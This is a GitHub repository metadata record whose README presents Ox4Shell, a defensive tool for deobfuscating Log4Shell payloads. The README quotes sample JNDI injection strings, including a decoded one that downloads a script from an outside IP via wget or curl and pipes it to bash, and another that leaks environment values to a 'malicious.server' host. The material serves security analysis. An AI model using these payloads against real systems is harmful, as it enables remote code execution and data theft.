{"id":13845210,"url":"https://github.com/ox-eye/Ox4Shell","last_synced_at":"2025-07-12T01:32:00.456Z","repository":{"id":44648595,"uuid":"441163907","full_name":"ox-eye/Ox4Shell","owner":"ox-eye","description":"Deobfuscate Log4Shell payloads with ease.","archived":false,"fork":false,"pushed_at":"2022-08-15T09:41:31.000Z","size":36,"stargazers_count":160,"open_issues_count":0,"forks_count":19,"subscribers_count":3,"default_branch":"main","last_synced_at":"2024-11-21T18:39:06.180Z","etag":null,"topics":["deobfuscation","deobfuscator","log4j","log4shell","oxeye"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ox-eye.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-12-23T11:49:27.000Z","updated_at":"2024-11-01T09:47:56.000Z","dependencies_parsed_at":"2022-09-24T12:20:12.483Z","dependency_job_id":null,"html_url":"https://github.com/ox-eye/Ox4Shell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ox-eye/Ox4Shell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ox-eye%2FOx4Shell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ox-eye%2FOx4Shell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ox-eye%2FOx4Shell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ox-eye%2FOx4Shell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ox-eye","download_url":"https://codeload.github.com/ox-eye/Ox4Shell/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ox-eye%2FOx4Shell/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264923075,"owners_count":23683716,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["deobfuscation","deobfuscator","log4j","log4shell","oxeye"],"created_at":"2024-08-04T17:03:16.332Z","updated_at":"2025-07-12T01:32:00.153Z","avatar_url":"https://github.com/ox-eye.png","language":"Python","readme":"![Logo-Light](https://gist.githubusercontent.com/oxeye-daniel/269eb41b379cf951d95ee4a23555db74/raw/e9b937b101cfc3b2a7dab83b640189adde1da287/bright.png#gh-dark-mode-only)![Logo-Dark](https://gist.githubusercontent.com/oxeye-daniel/269eb41b379cf951d95ee4a23555db74/raw/e9b937b101cfc3b2a7dab83b640189adde1da287/dark.png#gh-light-mode-only)\n\n\u003chr/\u003e\n\u003cp align=\"center\"\u003e\n    \u003cimg alt=\"maintained-oxeye\" src=\"https://img.shields.io/badge/maintained%20by-oxeye.io-blueviolet\"/\u003e\n    \u003cimg alt=\"python-3.8\" src=\"https://img.shields.io/badge/python-3.8-green\"/\u003e\n    \u003cimg alt=\"version-1.1\" src=\"https://img.shields.io/badge/version-1.1-blue\"/\u003e\n    \u003cimg alt=\"license-mit\" src=\"https://img.shields.io/badge/license-MIT-lightgrey\"/\u003e\n    \u003cimg alt=\"blackhat-arsenal\" src=\"https://github.com/toolswatch/badges/blob/master/arsenal/usa/2022.svg\"/\u003e\n\u003c/p\u003e\n\n# Ox4Shell\nDeobfuscate Log4Shell payloads with ease.\n\n## Description\nSince the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads,\nmaking the lives of security engineers a nightmare.\n\nThis tool intends to unravel the true contents of obfuscated Log4Shell payloads. \n\nFor example, consider the following obfuscated payload:\n```text\n${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}\n```\n\nAfter running Ox4Shell, it would transform into an intuitive and readable form:\n```text\n${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}\n```\n\nThis tool also aids to identify and decode base64 commands\nFor example, consider the following obfuscated payload:\n```text\n${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}\n```\n\nAfter running Ox4Shell, the tool reveals the attacker’s intentions:\n```text\n${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash\n```\n\n⚠️ We recommend running `Ox4Shell` with a provided file (`-f`) rather than an inline payload (`-p`), because certain \nshell environments will escape important characters, therefore will yield inaccurate results. \n\n## Usage\nTo run the tool simply:\n```\n~/Ox4Shell » python ox4shell.py --help\nusage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)\n\n   ____       _  _   _____ _          _ _ \n  / __ \\     | || | / ____| |        | | |\n | |  | |_  _| || || (___ | |__   ___| | |\n | |  | \\ \\/ /__   _\\___ \\| '_ \\ / _ \\ | |\n | |__| |\u003e  \u003c   | | ____) | | | |  __/ | |\n  \\____//_/\\_\\  |_||_____/|_| |_|\\___|_|_|\n\nOx4Shell - Deobfuscate Log4Shell payloads with ease.\n    Created by https://oxeye.io\n\nGeneral:\n  -h, --help            Show this help message and exit\n  -d, --debug           Enable debug mode (default: False)\n  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)\n  --max-depth MAX_DEPTH\n                        The maximum number of iteration to perform on a given payload (default: 150)\n  --decode-base64       Payloads containing base64 will be decoded (default: False)\n\nTargets:\n  Choose which target payloads to run Ox4Shell on\n\n  -p PAYLOAD, --payload PAYLOAD\n                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)\n  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)\n```\n\n## Mock Data\nThe Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime \ninformation on the Java process, and so forth. This capability grants threat actors the ability to probe for specific \ninformation that can uniquely identify the compromised machine they targeted.\n\nOx4Shell uses the `mock.json` file to insert common values into certain lookup function, for example,\nif the payload contains the value `${env:HOME}`, we can replace it with a custom mock value.\n\nThe default set of mock data provided is:\n```json\n{\n    \"hostname\": \"ip-127.0.0.1\",\n    \"env\": {\n        \"aws_profile\": \"staging\",\n        \"user\": \"ubuntu\",\n        \"pwd\": \"/opt/\",\n        \"path\": \"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"\n    },\n    \"sys\": {\n        \"java.version\": \"16.0.2\",\n        \"user.name\": \"ubuntu\"\n    },\n    \"java\": {\n        \"version\": \"Java version 16.0.2\",\n        \"runtime\": \"OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation\",\n        \"vm\": \"OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)\",\n        \"os\": \"Linux 5.10.47-linuxkit unknown, architecture: amd64-64\",\n        \"locale\": \"default locale: en_US, platform encoding: UTF-8\",\n        \"hw\": \"processors: 1, architecture: amd64-64\"\n    }\n}\n\n```\n\nAs an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:\n```bash\n~/Ox4Shell \u003e\u003e python ox4shell.py -p \"\\${jndi:ldap://\\${sys:java.version}.\\${env:AWS_PROFILE}.malicious.server/a}\"  \n${jndi:ldap://16.0.2.staging.malicious.server/a}\n```\n\n## Authors\n- [Daniel Abeles](https://twitter.com/Daniel_Abeles)\n- [Ron Vider](https://twitter.com/ron_vider)\n\n\n## License\nThe source code for the project is licensed under the MIT license, which you can find in the LICENSE file.\n","funding_links":[],"categories":["Python"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fox-eye%2FOx4Shell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fox-eye%2FOx4Shell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fox-eye%2FOx4Shell/lists"}